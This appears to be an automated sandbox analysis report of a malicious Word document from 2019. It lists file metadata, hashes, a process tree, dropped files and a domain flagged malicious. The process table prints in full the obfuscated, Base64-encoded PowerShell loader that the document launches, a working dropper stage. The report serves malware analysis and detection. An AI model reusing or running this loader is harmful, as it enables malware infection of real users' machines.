File name: | 1d8aa9c56aeeb3d51f1dd6693aa698d965d541f586fc133d1178ae1bf8a97b16 |
Full analysis: | https://app.any.run/tasks/e4604f10-95c9-46c8-a5de-fdb9ee2fe1c5 |
Verdict: | Malicious activity |
Analysis date: | July 11, 2019, 18:26:16 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: dbjppipuzrpsulkjywttaagomi, Subject: rv, Author: rfyffccesvczffvci, Comments: ozndp, Template: Normal, Last Saved By: Windows, Revision Number: 11, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Thu Apr 19 19:59:00 2018, Last Saved Time/Date: Wed Jul 3 09:17:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
MD5: | 6C54B400D3F936D5698CD239E110436C |
SHA1: | 495748B89634581B34CA4E6C78D96A86253786B2 |
SHA256: | 1D8AA9C56AEEB3D51F1DD6693AA698D965D541F586FC133D1178AE1BF8A97B16 |
SSDEEP: | 768:wR8o2UsJ+fu445J4DcNsVrCpb7v+g+hnm3yYDxxz99cdiZJmlCoVPE1rp:GE5aUp7v+ZYyYDx3KMZJmlVVgr |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 1 |
Paragraphs: | 1 |
Lines: | 1 |
Bytes: | 23552 |
Company: | d |
Manager: | pqp |
CodePage: | Windows Cyrillic |
Security: | None |
Characters: | 1 |
Words: | - |
Pages: | 1 |
ModifyDate: | 2019:07:03 08:17:00 |
CreateDate: | 2018:04:19 18:59:00 |
TotalEditTime: | 3.0 minutes |
Software: | Microsoft Office Word |
RevisionNumber: | 11 |
LastModifiedBy: | Пользователь Windows |
Template: | Normal |
Comments: | ozndp |
Keywords: | - |
Author: | rfyffccesvczffvci |
Subject: | rv |
Title: | dbjppipuzrpsulkjywttaagomi |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
988 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\1d8aa9c56aeeb3d51f1dd6693aa698d965d541f586fc133d1178ae1bf8a97b16.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1932 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enco IAAoACAALgAoACcATgBFAFcAJwArACcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAFMAWQBTAHQARQBNAGAALgBpAG8AYAAuAGMATwBtAFAAcgBgAEUAYABzAFMAaQBPAGAATgAuAGQARQBgAEYAbABhAFQAZQBgAFMAdAByAGUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAEEAcwBlADYANABzAFQAUgBpAG4ARwAoACcAUgBZAC8AQgBUAHMASgBBAEcASQBUAHYASgByADcARABIAG0AcQAyAFQAVwBXAGIAUQBJADMAWQBwAGoARgBLAGsAVABRAGgAQgBiAEgAbwBRAFUAMABvADYAMQArADYAcwBuAFIAcgBkADYARgBDADAAMwBkADMARAB3AGkAWABtAGMAdgBNADUAQgB1AEQAdgBZAHIAKwA3AGUATQBXAEIAUQBpAFAASwBYAHMAKwBZAE4AOABZADAAYwBrADgAUwBaADgAQwBBADQAcQBkAHQANQBWAFEAbABaAFgASQBHAEEAYwBiAGYAMgBEAGIATwBCAFoAcwBUAE8AQQBYAGQARgBxADQAMgBkADMAOABLAHkAQQBtAEwAcgBDAE4AbwBlADQASQBiAGMAdAB2AG8AQQBwAGIASwBJAFoARgBzAGkAQQAxAEwAQgBlAEQATQBZAE0ANAA4AFkAMwBkAGQAaABaAE8ASABnADYARABBAE8AZABLAGwAWgA3AGoASwBDAEgANABvAGQAcwB0AGIAZwBnAHIATQB1AEcAdwArAHMAZQBwAFMANwBrAG0AWgBWADcAZQA4AHkAQwBEAGYAWQArAHMASgBTAGEAeQA1AEUAeQBaACsAQQBwAGIAZgBpAFkAcQBTAEcAbAB1AEcAdABHADAAMwBMAGcAeABlADAATwBzAFEASwBkAGgAcQAxAEgAVgB2AGoAbABpAGsAVgBEAFUATQBSAGQAcABtAEUAVgA4AGUAQwA1AGMAbwAvACsAVABsAGgAOQBsAHkARABRADEALwBRAGgAVQBKADkATABvAEMAcgBSAHMATgBQAHMAcABRAHYAZwB3AEgAcQBrAGMAZABWAGEAQQB1AG0ANgB2ADcAMQBxAG8AZQBRADkAWgB1AGkAcQBFAFYASQB4AEsATQBxADAARQBCAFMAawAvAFAAZQA4AGwAUwBXAGYASwBQAEkAOAB2AE4AZQBuAGEAYgAxAHUAYQBLAHAAbwAzAGIAWAB0ADUAOABRAGMAPQAnACkAIAAsAFsAcwBZAHMAVABlAG0ALgBpAG8ALgBjAE8ATQBwAFIAZQBTAHMAaQBPAE4ALgBDAG8AbQBwAHIARQBTAFMASQBPAE4AbQBPAGQAZQBdADoAOgBEAEUAQwBvAG0AcAByAGUAUwBTACAAKQB8ACYAKAAnAGYAJwArACcAbwByAGUAJwArACcAYQBjAEgAJwApAHsAIAAmACgAJwBOAEUAVwAtAG8AYgAnACsAJwBKACcAKwAnAEUAYwBUACcAKQAgACAAaQBgAG8ALgBgAFMAYABUAHIAZQBhAG0AUgBlAGEAZABlAFIAKAAkAF8ALABbAHMAeQBTAFQAZQBtAC4AVABFAHgAVAAuAEUATgBjAG8AZABJAG4ARwBdADoAOgBhAHMAQwBpAGkAKQAgAH0AfAAuACgAJwBGAG8AcgBFAGEAJwArACcAQwAnACsAJwBIACcAKQB7ACQAXwAuAHIAZQBhAEQAdABvAGUATgBkACgAKQAgAH0AIAApACAAfAAuACgAJwBJACcAKwAnAGUAeAAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRD93E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\84G0VCORE11X8BKT2M9T.temp | — | |
MD5:— | SHA256:— | |||
988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$8aa9c56aeeb3d51f1dd6693aa698d965d541f586fc133d1178ae1bf8a97b16.doc | pgc | |
MD5:890A523C5B48B1C2536AEB7E265741DE | SHA256:C1ABD2339CD0FAE5099F1116E8BEDA7F6137051F1B881EC10145C412D232782A | |||
988 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:F7FFF0DFAA998BA8EF7C7D91ED73807F | SHA256:E4629105F494AB44A92800D8AD23C0A2E1A00851980AC13004F943DEC02AECA7 | |||
1932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFce4a8.TMP | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
1932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:0CA311932F735D90906B94C7239AB036 | SHA256:D6A71A314548F71EE30D401E4BB5F7C9620FC24C73141B1648880CFF83988B33 |
Domain | IP | Reputation |
---|---|---|
toolz22n5.info |
| malicious |